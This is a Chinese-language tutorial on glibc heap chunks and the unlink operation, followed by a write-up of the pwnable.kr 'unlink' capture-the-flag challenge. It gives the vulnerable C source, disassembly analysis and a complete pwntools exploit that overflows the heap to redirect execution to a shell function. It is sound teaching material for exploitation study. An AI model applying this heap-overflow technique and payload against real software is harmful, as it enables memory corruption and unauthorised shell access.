0x0 malloc_chunk 详解

在 Glibc 管理堆的过程中，无论一个内存块（chunk）是处于已分配状态还是处于空闲状态，Glibc 都统一使用一个名为 malloc_chunk 的结构体对其进行描述（可以将其理解为 chunk 的 header），下图简单描绘了 chunk 在堆中的一个布局：

而关于 malloc_chunk 的具体内容，我们可以查阅 Glibc源码中的 mallo.c 文件，如下所示：

struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size;/* Size of previous chunk (if free). */

INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize;

};

malloc_chunk 中的各个字段对于已分配的块和空闲的块而言，是有着不同含义的：

mchunk_prev_size: 如果当前 chunk 所相邻的上一个 chunk (地址较当前块低的)为空闲状态，该字段便会记录上个 chunk 的大小（包括 chunk 头）。若否，那该字段便会被上个 chunk 用来存储数据。

mchunk_size: 该字段表示当前 chunk 的大小，在32位系统中，其大小最小不可低于16个字节，对齐则为8个字节。而在64位系统中，其大小不可低于32个字节，对其则为16个字节。

fd: 在空闲的 chunk 中，指向前一个与之不相邻的空闲 chunk。在已分配的chunk 中，该字段直接指向用户数据区。

bk: （该字段只被空闲的 chunk 所使用）指向后一个与之不相邻的空闲chunk。

fd_nextsize: （该字段只会被空闲的 large chunk 所使用）指向前一个与当前chunk 大小不同的空闲 large chunk。

bk_nextsize: （该字段只会被空闲的 large chunk 所使用）指向后一个与当前chunk 大小不同的空闲 large chunk。

空闲的 chunk 所对应的 malloc_chunk 结构体由 glibc 的内存管理器 ptmalloc所管理，ptmalloc 会根据它们的大小和使用状态将它们保存到互不相关的链表中，而它们在堆中的结构大概是下面这样子的：

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Size of previous chunk, if unallocated (P clear) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

`head:' | Size of chunk, in bytes |A|0|P|

mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Forward pointer to next chunk in list |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Back pointer to previous chunk in list |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Unused space (may be 0 bytes long) .

. .

. |

nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

`foot:' | Size of chunk, in bytes |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Size of next chunk, in bytes |A|0|0|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

已分配的 chunk 在堆中的结构则是这个样子：

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Size of previous chunk, if unallocated (P clear) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Size of chunk, in bytes |A|M|P|

mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|

User data starts here... .

. .

. (malloc_usable_size() bytes) .

. |

nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|

(size of chunk, but used for application data)|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|

Size of next chunk, in bytes|A|0|1|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

0x1 Unlink 简单概述

简单来说，unlink 就是一个被 ptmalloc 用来提取双向链表（指上文中通过 chunk 头管理堆中空闲 chunk 的链表）中空闲 chunk 的操作。它的基本流程如下图所示：

上图所示的过程，其实可以用下面几行代码来表示：

FD = P -> fd

BK = P -> bk

FD -> bk = BK/* 相当于 (P -> fd -> bk = P -> bk) */

BK -> fd = FD /* 相当于 (P -> bk -> fd = P -> fd) */

不难看出，这样的操作是有一定风险的，倘若攻击者利用堆溢出覆盖了 unlink 对象的 fd 指针和 bk 指针，便会造成任意地址读写。在古老的 unlink 中的确有这个问题存在，因为它没有对 unlink 对象的相关字段进行检查，也就是说，它并没有下面代码中被注释掉的那部分内容：

#define unlink(AV, P, BK, FD) { \

// if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \

// malloc_printerr ("corrupted size vs. prev_size"); \

FD = P->fd; \

BK = P->bk; \

// if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \

// malloc_printerr ("corrupted double-linked list"); \

else { \

FD->bk = BK; \

BK->fd = FD; \

if (!in_smallbin_range (chunksize_nomask (P)) \

&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \

// if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \

// || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \

// malloc_printerr ("corrupted double-linked list (not small)"); \

if (FD->fd_nextsize == NULL) { \

if (P->fd_nextsize == P) \

FD->fd_nextsize = FD->bk_nextsize = FD; \

else { \

FD->fd_nextsize = P->fd_nextsize; \

FD->bk_nextsize = P->bk_nextsize; \

P->fd_nextsize->bk_nextsize = FD; \

P->bk_nextsize->fd_nextsize = FD; \

} \

} else { \

P->fd_nextsize->bk_nextsize = P->bk_nextsize; \

P->bk_nextsize->fd_nextsize = P->fd_nextsize; \

} \

} \

} \

}

但即使是增加了对相关字段的检查，unlink 也不是绝对安全的，现在已经有不少绕过这些检测的方法，本文暂时不对这方面内容进行讨论，下面我们通过一道题来了解下古老 unlink 的利用方式。

0x2 pwnable.kr 之 Unlink 题解

这道题可以说是很好地复现了古老的 unlink 操作，很适合用来了解 unlink 的原理，下面来分析分析它：

题目链接：

http://pwnable.kr/play.php

1、先看题目源码，栈的地址和堆的地址皆已给出，利用点也很明确，也就是gets(A->buf)和unlink(B) 这两个地方，所以利用流程大致上可以归结为：先通过堆溢出覆盖 B 的相关字段，再通过 unlink 函数实现任意地址读写，从而将主函数的返回地址写为 shell 函数的起始地址。

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

typedef struct tagOBJ{

struct tagOBJ* fd;

struct tagOBJ* bk;

char buf[8];

}OBJ;

void shell(){

system("/bin/sh");

}

void unlink(OBJ* P){

OBJ* BK;

OBJ* FD;

BK=P->bk;

FD=P->fd;

FD->bk=BK;

BK->fd=FD;

}

int main(int argc, char* argv[]){

malloc(1024);

OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C

A->fd = B;

B->bk = A;

B->fd = C;

C->bk = B;

printf("here is stack address leak: %p\n", &A);

printf("here is heap address leak: %p\n", A);

printf("now that you have leaks, get shell!\n");

// heap overflow!

gets(A->buf);

// exploit this unlink!

unlink(B);

return 0;

}

2、在第一时间，很多人通常会想到将 A 和 B 构造成下面这个布局（padding 的大小之所以为16个字节，是因为32位系统下 chunk 的大小最小不低于16），然后通过 FD->bk=BK 将 shell 函数的起始地址写到返回地址上。但是这样做的话，到下一步执行BK->fd=FD 时，程序会尝试向代码段上写入数据，这种非法写入将会引发错误，导致程序无法继续执行。

heapAddr+0x8 +-+-+-+-+-+-+-+-+-+-+-+

| padding (A->buf) |

heapAddr+0x18 +-+-+-+-+-+-+-+-+-+-+-+

| RetAddr-4 (B->fd) |

heapAddr+0x1C +-+-+-+-+-+-+-+-+-+-+-+

| shellAddr (B->bk) |

+-+-+-+-+-+-+-+-+-+-+-+

3、既然遇到了瓶颈，那我们不妨去分析一下反汇编后的 main 函数，寻找新的突破口。最终在 main 函数的末尾，发现了可利用的地方，如下所示：

80485ff: 8b 4d fc mov -0x4(%ebp),%ecx; ecx = [ebp - 0x4]

8048602: c9 leave

8048603: 8d 61 fc lea -0x4(%ecx),%esp; esp = ecx - 0x4

8048606: c3 ret ;eip = [[ebp - 0x4] - 0x4]

于是我们可以把 A 和 B 的布局构造成下面这样（关于偏移量，可以通过分析汇编代码或者动态调试取得，这里就不多讲），这样构造既不会出现非法写入的情况，又使得我们可以借助BK->fd=FD让程序转去执行 shell 函数。

heapAddr+0x8 +-+-+-+-+-+-+-+-+-+-+-+

| shellAddr |

heapAddr+0xC +-+-+-+-+-+-+-+-+-+-+-+

| padding |

heapAddr+0x18 +-+-+-+-+-+-+-+-+-+-+-+

| heapAddr+0xC |

heapAddr+0x1C +-+-+-+-+-+-+-+-+-+-+-+

| stackAddr+0x10 |

+-+-+-+-+-+-+-+-+-+-+-+

4、最终的利用代码如下所示：

from pwn import *

p = ssh(host='pwnable.kr',

port=2222,

user='unlink',

password='guest'

).process("./unlink")

shell_addr = 0x080484eb

p.recvuntil("here is stack address leak: ")

stack_addr = int(p.recv(10),16)

p.recvuntil("here is heap address leak: ")

heap_addr = int(p.recv(9),16)

payload = p32(shell_addr) + 'A' * 12 + p32(heap_addr + 12) + p32(stack_addr + 16)

p.send(payload)

p.interactive()